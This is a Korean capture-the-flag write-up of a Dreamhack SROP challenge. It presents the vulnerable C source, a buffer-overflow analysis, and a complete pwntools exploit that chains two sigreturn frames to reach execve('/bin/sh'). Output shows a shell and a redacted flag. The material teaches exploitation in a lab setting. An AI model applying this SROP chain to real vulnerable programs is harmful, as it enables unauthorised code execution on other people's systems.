1. intro
2. code 및 분석
2.1 code
// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
┌──(kali㉿kali)-[~/Downloads]
└─$ checksec srop
[*] '/home/kali/Downloads/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
2.2 분석
gadget 함수와 main 함수가 있으며, 단순히 buf에 값을 받아들이는 코드이다.
3. 취약점 확인 및 공격 준비
3.1 취약점
main 함수 내에서 buffer overflow가 발생하나, NX 보호기법 및 memory leak이 불가하여 단순한 공격은 불가하다.
그냥 보기에는 rop chainning이 가능할 것 같은데...라고 생각했지만, 사용되는 함수가 read 밖에 없어 불가하다.
lecture에서 원하는 대로 SROP을 해보자.
https://wyv3rn.tistory.com/107
SROP
이론 시그널이 발생하면 커널 모드에서 실행되는데, 유저 모드의 내용을 보존하기 위해 레지스터에 값을 저장해두었다가 다시 가져오게 되며, 이를 이용해 임의의 코드를 실행할 수 있게 된다.
wyv3rn.tistory.com
3.2 공격 준비
어차피 pwntools로 다 해결할 수 있으니... 특별히 구할 건 없다.
전체적인 공격 흐름은
read 함수가 한번만 쓰이므로 다시 한번 writable 영역에 read 할 수 있게 frame 작성 및 sigreturn system call
다시 read 시 execve 함수를 실행시킬 frame 작성 및 /bin/sh 문자열을 전달, sigreturn system call
가 된다.
다만, 파일의 context에 맞게 syscall table을 참조하여 frame을 작성해야한다.
Chromium OS Docs - Linux System Call Table
Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc
chromium.googlesource.com
다만 특이사항으로 나중에 /bin/sh 문자열을 어딘가에 삽입해야하고, 해당 위치를 정확히 찾아 넣어야한다는 점이다.
4. exploit
후닥 짜보면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',18383)
#p = process('./srop')
e = context.binary = ELF('./srop')
gadget = next(e.search(asm('pop rax; syscall')))
syscall = next(e.search(asm('syscall')))
bss = e.bss()
#for read again
srf = SigreturnFrame()
srf.rax = 0 #read syscall nr
srf.rsi = bss
srf.rdx = 0x1000
srf.rdi = 0
srf.rip = syscall
srf.rsp = bss
pay = b''
pay += b'A'*16 #for buffer
pay += b'A'*8 #for sfp
pay += p64(gadget)
pay += p64(15)
pay += bytes(srf)
p.sendline(pay)
#for execve(/bin/sh). don't need insert 0 to another arg. cus frame already have it.
srf2 = SigreturnFrame()
srf2.rip = syscall
srf2.rax = 0x3b #execve syscall nr
srf2.rsp = bss + 0x500
srf2.rdi = bss + 0x108 #lenth of pay2
pay2 = b''
pay2 += p64(gadget)
pay2 += p64(15)
pay2 += bytes(srf2)
pay2 += b'/bin/sh\x00'
p.sendline(pay2)
p.interactive()
위에서 이야기한 것과 같이 /bin/sh 문자열의 위치를 정확히 찾아야하는데, 결국 pay2 값이 bss 영역에 쓰여지는 것이기에 pay2의 길이가 /bin/sh 문자열의 위치가 된다.
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18383: Done
[*] '/home/kali/Downloads/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=1000(srop) gid=1000(srop) groups=1000(srop)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
_IO_FILE Arbitrary Address Read (0) | 2022.08.16 |
---|---|
send_sig (0) | 2022.08.16 |
rtld (0) | 2022.08.15 |
__environ (0) | 2022.08.15 |
Overwrite _rtld_global (0) | 2022.08.15 |